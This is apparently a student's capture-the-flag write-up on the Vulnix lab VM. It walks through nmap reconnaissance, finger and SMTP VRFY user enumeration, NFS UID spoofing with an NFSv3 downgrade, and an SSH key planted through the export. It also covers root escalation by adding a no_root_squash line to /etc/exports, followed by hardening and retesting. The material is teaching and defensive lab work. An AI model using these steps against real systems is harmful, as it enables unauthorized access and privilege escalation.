

Project 5 - Think inside the box

Part A

Vulnix VM IP: 10.10.10.130 MAC: 00:0C:29:08:87:3C OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)

Port	Dienst	why interesting
79	finger	user-enumeration
25	SMTP (Postfix)	VRFY is active - user-enumeration
111 + 2049 + mounted	rpcbind / NFS	NFS-exports + false export-config
22	SSH	foothold
512 / 513 / 514	exec / login / shell	"r-services" (rexec, rlogin, rsh). very old, trust based

Phase 1 - Reconnaissance

Host Discovery Command

```
nmap -sn 10.10.10.0/24
```

Result:

```
Nmap scan report for 10.10.10.130
Host is up (0.00042s latency).
MAC Address: 00:0C:29:08:87:3C (VMware)
```

Portscan + Servies Command

```
sudo nmap -p- -sV -sC -T4 -oA vulnix_scan 10.10.10.130
```

Result:

```
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-12 12:51 +0200
Nmap scan report for 10.10.10.130
Host is up (0.0028s latency).
Not shown: 65518 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux;
protocol 2.0)
```

```
| ssh-hostkey:
|   1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
|   2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_  256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp    open  smtp      Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN
| ssl-cert: Subject: commonName=vulnix
| Not valid before: 2012-09-02T17:40:12
|_Not valid after:  2022-08-31T17:40:12
|_ssl-date: 2026-07-12T10:54:34+00:00; 0s from scanner time.
79/tcp    open  finger    Linux fingerd
|_finger: No one logged on.\x0D
110/tcp   open  pop3?
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_ssl-date: 2026-07-12T10:54:34+00:00; 0s from scanner time.
111/tcp   open  rpcbind   2-4 (RPC #100000)
| rpcinfo:
|   program version      port/proto  service
|   100000  2,3,4          111/tcp    rpcbind
|   100000  2,3,4          111/udp    rpcbind
|   100000  3,4            111/tcp6   rpcbind
|   100000  3,4            111/udp6   rpcbind
|   100005  1,2,3          33306/udp  mountd
|   100005  1,2,3          43441/tcp6 mountd
|   100005  1,2,3          47226/tcp  mountd
|   100005  1,2,3          48494/udp6 mountd
|   100021  1,3,4          34917/tcp  nlockmgr
|   100021  1,3,4          43973/udp  nlockmgr
|   100021  1,3,4          58034/udp6 nlockmgr
|   100021  1,3,4          58178/tcp6 nlockmgr
|   100024  1              38788/tcp6 status
|   100024  1              47985/tcp  status
|   100024  1              49510/udp  status
|   100024  1              50601/udp6 status
|   100227  2,3            2049/tcp   nfs_acl
|   100227  2,3            2049/tcp6  nfs_acl
|   100227  2,3            2049/udp   nfs_acl
|_  100227  2,3            2049/udp6  nfs_acl
143/tcp   open  imap      Dovecot imapd
|_ssl-date: 2026-07-12T10:54:34+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
512/tcp   open  exec      netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
993/tcp   open  ssl/imap  Dovecot imapd
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_ssl-date: 2026-07-12T10:54:34+00:00; 0s from scanner time.
```

```
995/tcp  open  ssl/pop3s?
|_ssl-date: 2026-07-12T10:54:34+00:00; 0s from scanner time.
|_ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
|_Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
2049/tcp  open  nfs_acl      2-3 (RPC #100227)
34917/tcp open  nlockmgr    1-4 (RPC #100021)
42615/tcp open  mountd      1-3 (RPC #100005)
46622/tcp open  mountd      1-3 (RPC #100005)
47226/tcp open  mountd      1-3 (RPC #100005)
47985/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:08:87:3C (VMware)
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 197.82 seconds
```

NFS - what is exported? Command

```
showmount -e 10.10.10.130
```

Result:

```
Export list for 10.10.10.130:
/home/vulnix *
```

finger Command

```
finger vulnix@10.10.10.130
```

Result:

```
Login: vulnix          Name:
Directory: /home/vulnix Shell: /bin/bash
Never logged in.
No mail.
No Plan.
```

Command

```
finger root@10.10.10.130
```

Result:

```
Login: root                                Name: root
Directory: /root                          Shell: /bin/bash
Never logged in.
No mail.
No Plan.
```

Command

```
finger user@10.10.10.130
```

Result:

```
Login: user                                Name: user
Directory: /home/user                      Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Login: dovenull                            Name: Dovecot login user
Directory: /nonexistent                    Shell: /bin/false
Never logged in.
No mail.
No Plan.
```

SMTP - VRFY *Establish connection* Command

```
nc 10.10.10.130 25
```

Result:

```
220 vulnix ESMTP Postfix (Ubuntu)
```

Connection opened - try to VRFY users

Command

```
VRFY vulnix
```

Result:

```
252 2.0.0 vulnix
```

Command

```
VRFY user
```

Result:

```
252 2.0.0 user
```

close connection Command

```
quit
```

Result:

```
221 2.0.0 Bye
```

Phase 2 - Gaining a Foothold

2 Options - SSH or NFS NFS is more silent and we had learned about UID spoofing - so I choose NFS

Try to get UID nmap nfs-ls tested – because root_squash + 750-rights no UID-Leak possible, try to get UID via local UID-Matching enumeration."

Enumeration UID Command

```
for uid in $(seq 1000 2050); do
  sudo useradd -u "$uid" -M -s /bin/false testuser 2>/dev/null
  if sudo -u testuser ls /mnt/vulnix >/dev/null 2>&1; then
    echo ">>> MATCH: UID $uid can go inside <<<"
    break
  fi
  sudo userdel testuser 2>/dev/null
done
```

Result:

```
>>> MATCH: UID $uid can go inside <<<
```

NFS Mounten

```
sudo mount -t nfs 10.10.10.130:/home/vulnix /mnt/vulnix
```

Take a look

Command

```
sudo -u testuser ls -la /mnt/vulnix
```

Result

```
total 20
drwxr-x--- 2 nobody nogroup 4096 Sep  2  2012 .
drwxr-xr-x 3 root    root    4096 Jul 12 14:46 ..
-rw-r--r-- 1 nobody nogroup  220 Apr  3  2012 .bash_logout
-rw-r--r-- 1 nobody nogroup 3486 Apr  3  2012 .bashrc
-rw-r--r-- 1 nobody nogroup  675 Apr  3  2012 .profile
```

User check Command:

```
id testuser
```

Result:

```
uid=2008(testuser) gid=2008(testuser) groups=2008(testuser)
```

Mount check Command:

```
mount | grep vulnix
```

Result:

```
10.10.10.130:/home/vulnix on /mnt/vulnix type nfs4
(rw,relatime,vers=4.0,rsiz=65536,wsiz=65536,namlen=255,hard,fatal_neterro
```

```
rs=none,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=10.10.10.129,local_lock=none,addr=10.10.10.130)
```

Mounted with version 4 - but version 3 is needed for uid spoofing -> Downgrade version for mount

Command:

```
sudo mount -t nfs -o vers=3 10.10.10.130:/home/vulnix /mnt/vulnix
```

Result:

```
Created symlink '/run/systemd/system/remote-fs.target.wants/rpc-statd.service' → '/usr/lib/systemd/system/rpc-statd.service'.
```

Mount check Command:

```
mount | grep vulnix
```

Result:

```
10.10.10.130:/home/vulnix on /mnt/vulnix type nfs
(rw,relatime,vers=3,rsize=65536,wsiz=65536,namlen=255,hard,fatal_nerrors=none,proto=tcp,timeo=600,retrans=2,sec=sys,mountaddr=10.10.10.130,mountvers=3,mountport=33306,mountproto=udp,local_lock=none,addr=10.10.10.130)
```

Correct vulnerable version for UID spoofing

Take a look again

Command:

```
sudo -u testuser ls -la /mnt/vulnix
```

Result:

```
total 20
drwxr-x--- 2 testuser testuser 4096 Sep  2 2012 .
drwxr-xr-x 3 root      root      4096 Jul 12 14:46 ..
-rw-r--r-- 1 testuser testuser  220 Apr  3 2012 .bash_logout
```

```
-rw-r--r-- 1 testuser testuser 3486 Apr  3 2012 .bashrc
-rw-r--r-- 1 testuser testuser  675 Apr  3 2012 .profile
```

-> Create a SSH key and place it on the machine

Create a directory Command:

```
sudo -u testuser mkdir -p /mnt/vulnix/.ssh
```

Create a SSH key Command:

```
ssh-keygen -t ed25519 -f ~/vulnix_key -N ""
```

Result:

```
Generating public/private ed25519 key pair.
Your identification has been saved in /home/kali/vulnix_key
Your public key has been saved in /home/kali/vulnix_key.pub
...
```

Copy the Key to the machine Command:

```
sudo -u testuser cp ~/vulnix_key.pub /mnt/vulnix/.ssh/authorized_keys
```

Result:

```
cp: cannot stat '/home/kali/vulnix_key.pub': Permission denied
```

-> testuser is not allowed to copy from /home/kali

Copy to /tmp and then to the machine

```
cp ~/vulnix_key.pub /tmp/vulnix_key.pub
```

Make it readable for everyone

```
chmod 644 /tmp/vulnix_key.pub
```


Copy SSH key to the machine

```
sudo -u testuser cp /tmp/vulnix_key.pub /mnt/vulnix/.ssh/authorized_keys
```

Set permissions for vulnix - so that SSH works *Only vulnix can enter the folder*

```
sudo -u testuser chmod 700 /mnt/vulnix/.ssh
```

Only vulnix can read / write the file

```
sudo -u testuser chmod 600 /mnt/vulnix/.ssh/authorized_keys
```

Cleanup - remove pub key from /tmp

```
rm /tmp/vulnix_key.pub
```

Login via SSH Command:

```
ssh -i ~/vulnix_key vulnix@10.10.10.130
```

Result:

```
The authenticity of host '10.10.10.130 (10.10.10.130)' can't be
established.
ECDSA key fingerprint is:
SHA256:IG0uLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMVi0Ag
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.130' (ECDSA) to the list of known
hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
vulnix@10.10.10.130's password:
```

Try with verbose output Command:

```
ssh -v -i ~/vulnix_key vulnix@10.10.10.130
```

Result:

```
debug1: OpenSSH_10.3p1 Debian-2, OpenSSL 3.6.2 7 Apr 2026
debug1: Reading configuration data /home/kali/.ssh/config
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Reading configuration data /etc/ssh/ssh_config.d/20-systemd-ssh-
proxy.conf
debug1: /etc/ssh/ssh_config line 21: Applying options for *
debug1: Connecting to 10.10.10.130 [10.10.10.130] port 22.
debug1: Connection established.
debug1: loaded pubkey from /home/kali/vulnix_key: ED25519
SHA256:3bx+DIhD2VTF18YzWylgYwM7s0Qgz0Hsu0KP89Dgb2A <----- It founds the
key
debug1: identity file /home/kali/vulnix_key type 2
debug1: no identity pubkey loaded from /home/kali/vulnix_key
debug1: Local version string SSH-2.0-OpenSSH_10.3p1 Debian-2
debug1: Remote protocol version 2.0, remote software version OpenSSH_5.9p1
Debian-5ubuntu1 <----- Old Version
debug1: compat_banner: match: OpenSSH_5.9p1 Debian-5ubuntu1 pat OpenSSH_5*
compat 0x0c000002
debug1: Authenticating to 10.10.10.130:22 as 'vulnix'
debug1: load_hostkeys: fopen /home/kali/.ssh/known_hosts2: No such file or
directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or
directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or
directory
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: algorithm: ecdh-sha2-nistp256
debug1: kex: host key algorithm: ecdsa-sha2-nistp256
debug1: kex: server->client cipher: aes128-ctr MAC: umac-64@openssh.com
compression: none
debug1: kex: client->server cipher: aes128-ctr MAC: umac-64@openssh.com
compression: none
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug1: SSH2_MSG_KEX_ECDH_REPLY received
debug1: Server host key: ecdsa-sha2-nistp256
SHA256:IG0uLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMVi0Ag
debug1: load_hostkeys: fopen /home/kali/.ssh/known_hosts2: No such file or
directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or
directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or
directory
debug1: Host '10.10.10.130' is known and matches the ECDSA host key.
debug1: Found key in /home/kali/.ssh/known_hosts:12
debug1: rekey out after 4294967296 blocks
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: rekey in after 4294967296 blocks
** WARNING: connection is not using a post-quantum key exchange algorithm.
```

```
** This session may be vulnerable to "store now, decrypt later" attacks.  
** The server may need to be upgraded. See https://openssh.com/pq.html  
debug1: SSH2_MSG_SERVICE_ACCEPT received  
debug1: Authentications that can continue: publickey,password  
debug1: Next authentication method: publickey  
debug1: Will attempt key: /home/kali/vulnix_key ED25519  
SHA256:3bx+DIhD2VTF18YzWylgYwM7s0Qgz0Hsu0KP89Dgb2A explicit  
debug1: Offering public key: /home/kali/vulnix_key ED25519  
SHA256:3bx+DIhD2VTF18YzWylgYwM7s0Qgz0Hsu0KP89Dgb2A explicit  
debug1: Authentications that can continue: publickey,password  
debug1: Next authentication method: password  
vulnix@10.10.10.130's password
```

Try with RSA

Command:

```
ssh-keygen -t rsa -b 2048 -f ~/vulnix_rsa -N ""
```

Result:

```
Generating public/private rsa key pair.  
Your identification has been saved in /home/kali/vulnix_rsa  
Your public key has been saved in /home/kali/vulnix_rsa.pub  
...
```

Copy, move, change permissions

```
cp ~/vulnix_rsa.pub /tmp/vulnix_rsa.pub  
chmod 644 /tmp/vulnix_rsa.pub  
sudo -u testuser cp /tmp/vulnix_rsa.pub /mnt/vulnix/.ssh/authorized_keys  
sudo -u testuser chmod 600 /mnt/vulnix/.ssh/authorized_keys
```

Check

```
sudo -u testuser cat /mnt/vulnix/.ssh/authorized_keys
```

Keys is there.

Try again Command:

```
ssh -i ~/vulnix_rsa vulnix@10.10.10.130
```

Result:

```
** WARNING: connection is not using a post-quantum key exchange algorithm.  
** This session may be vulnerable to "store now, decrypt later" attacks.  
** The server may need to be upgraded. See https://openssh.com/pq.html  
vulnix@10.10.10.130's password:
```

What the ...

Command:

```
ssh -v -i ~/vulnix_rsa vulnix@10.10.10.130
```

Result:

```
debug1: OpenSSH_10.3p1 Debian-2, OpenSSL 3.6.2 7 Apr 2026  
debug1: Reading configuration data /home/kali/.ssh/config  
debug1: Reading configuration data /etc/ssh/ssh_config  
debug1: Reading configuration data /etc/ssh/ssh_config.d/20-systemd-ssh-  
proxy.conf  
debug1: /etc/ssh/ssh_config line 21: Applying options for *  
debug1: Connecting to 10.10.10.130 [10.10.10.130] port 22.  
debug1: Connection established.  
debug1: loaded pubkey from /home/kali/vulnix_rsa: RSA  
SHA256:xbINbdtTztAhgALu6sjm9REmmWXrvobl32NUkcCKd3E <----- It founds  
the key  
debug1: identity file /home/kali/vulnix_rsa type 0  
debug1: no identity pubkey loaded from /home/kali/vulnix_rsa  
debug1: Local version string SSH-2.0-OpenSSH_10.3p1 Debian-2  
debug1: Remote protocol version 2.0, remote software version OpenSSH_5.9p1  
Debian-5ubuntu1  
debug1: compat_banner: match: OpenSSH_5.9p1 Debian-5ubuntu1 pat OpenSSH_5*  
compat 0x0c000002 <----- Still because the old version?  
debug1: Authenticating to 10.10.10.130:22 as 'vulnix'  
debug1: load_hostkeys: fopen /home/kali/.ssh/known_hosts2: No such file or  
directory  
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or  
directory  
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or  
directory  
debug1: SSH2_MSG_KEXINIT sent  
debug1: SSH2_MSG_KEXINIT received  
debug1: kex: algorithm: ecdh-sha2-nistp256  
debug1: kex: host key algorithm: ecdsa-sha2-nistp256  
debug1: kex: server->client cipher: aes128-ctr MAC: umac-64@openssh.com  
compression: none  
debug1: kex: client->server cipher: aes128-ctr MAC: umac-64@openssh.com  
compression: none
```

```

debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug1: SSH2_MSG_KEX_ECDH_REPLY received
debug1: Server host key: ecdsa-sha2-nistp256
SHA256:IG0uLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMVi0Ag
debug1: load_hostkeys: fopen /home/kali/.ssh/known_hosts2: No such file or
directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or
directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or
directory
debug1: Host '10.10.10.130' is known and matches the ECDSA host key.
debug1: Found key in /home/kali/.ssh/known_hosts:12
debug1: rekey out after 4294967296 blocks
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: rekey in after 4294967296 blocks
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,password
debug1: Next authentication method: publickey
debug1: Will attempt key: /home/kali/vulnix_rsa RSA
SHA256:xbINbdtTztAhgALu6sjm9REmmWXrvobl32NUkcCKd3E explicit
debug1: Offering public key: /home/kali/vulnix_rsa RSA
SHA256:xbINbdtTztAhgALu6sjm9REmmWXrvobl32NUkcCKd3E explicit
debug1: send_pubkey_test: no mutual signature algorithm
debug1: Next authentication method: password
vulnix@10.10.10.130's password:

```

5.9p1 is very old and kali has a modern OpenSSH 10.3 Client

Downgrade the connection Command:

```

ssh -i ~/vulnix_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o
HostKeyAlgorithms=+ssh-rsa vulnix@10.10.10.130

```

Result:

```

ssh -i ~/vulnix_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o
HostKeyAlgorithms=+ssh-rsa vulnix@10.10.10.130
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

* Documentation:  https://help.ubuntu.com/

System information as of Mon Jul 13 15:48:31 BST 2026

```

```
System load: 0.0          Processes:            89
Usage of /:  84.5% of 773MB Users logged in:        0
Memory usage: 9%          IP address for eth0: 10.10.10.130
Swap usage:  0%
```

Graph this data and manage this system at
<https://landscape.canonical.com/>

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

```
vulnix@vulnix:~$
```

I'm inside.

Command: (as vulnix)

```
id
```

Result:

```
uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix)
```

Command:

```
sudo -l
```

Result:

Matching 'Defaults' entries for vulnix on this host:

```
env_reset,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/b
in
```

User vulnix may run the following commands on this host:

```
(root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
```

The user can edit `/etc/exports` - with `sudoedit` and without password. `Sudoedit` is a secure tool but allows access to a mighty file, which is not necessary. **This hurts the principle of least privilege.**

Phase 3 - Privilege Escalation

Edit `/etc/exports` add the line `/root *(rw,no_root_squash) ->` Root access

Restart the VM - In RL I would have to wait for it.

So I would use a watchdog for showmount like

```
watch -n 3 'showmount -e 10.10.10.130'
```

Phase 4 - Getting the flag

Mount

```
sudo mount -t nfs -o vers=3 10.10.10.130:/root /mnt/root
```

List

```
sudo ls /mnt/root
```

trophy.txt

Read

```
sudo cat /mnt/root/trophy.txt
```

Flag:

```
cc614640424f5bd60ce5d5264899c3be
```

Part B

Create SSH access for root

to be able to execute the script

SSH Key for root `sudo mkdir -p /mnt/root/.ssh` `sudo cp ~/.vulnix_rsa.pub /mnt/root/.ssh/authorized_keys`
`sudo chmod 700 /mnt/root/.ssh` `sudo chmod 600 /mnt/root/.ssh/authorized_keys`

Create Script

Script in pseudocode:

- deactivate fingerd -> stop enumeration
- deactivate VRFY in postfix -> stop enumeration
- deinstall r-services -> possible foothold
- restrict nfs export to specific IPs (no wildcard) -> foothold
- remove my no_root_squash
- disable NFSv3
- remove overprivileged unnecessary sudoedit on /etc/exports -> least privilege

If it is not possible to deactivate NFSv3 (where uid-spoofing is possible) all_squash still works and everyone is nobody (Defense in Depth) - redundancy.

Wrote the script, ran the script, test to get in again:

Test after script execution

Can vulnix edit /etc/exports? Command: (Logged in via SSH as vulnix)

```
sudo -l
```

Result:

```
[sudo] password for vulnix:
```

-> No sudoedit possible

Is it possible to enumerate users by fingerd Command: (All following from kali)

```
finger vulnix@10.10.10.130
```

Result:

```
finger: connect: Connection refused
```

-> No.

Is it possible to enumerate users by SMTP VRFY? Command:

```
nc 10.10.10.130 25
```


Result:

```
220 vulnix ESMTP Postfix (Ubuntu)
```

Command:

```
VRFY vulnix
```

Result:

```
502 5.5.1 VRFY command is disabled
```

Command:

```
quit
```

Result:

```
221 2.0.0 Bye
```

-> No. Gap closed

Are the r-services still active? Command:

```
nmap -p 79,512,513,514 10.10.10.130
```

Result:

```
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-13 22:20 +0200  
Nmap scan report for 10.10.10.130  
Host is up (0.00084s latency).
```

```
PORT      STATE SERVICE  
79/tcp    closed finger  
512/tcp   closed exec  
513/tcp   closed login  
514/tcp   closed shell  
MAC Address: 00:0C:29:08:87:3C (VMware)
```

```
Nmap done: 1 IP address (1 host up) scanned in 0.64 seconds
```

-> *No. Services disabled*

Is it possible to mount with NFSv3? Command:

```
showmount -e 10.10.10.130
```

Result:

```
Export list for 10.10.10.130:  
/home/vulnix 10.10.10.0/24
```

Command:

```
sudo mount -t nfs -o vers=3 10.10.10.130:/home/vulnix /mnt/vulnix
```

Result:

```
mount.nfs: Protocol not supported for 10.10.10.130:/home/vulnix on  
/mnt/vulnix
```

-> *No. Now you can't downgrade the protocol anymore*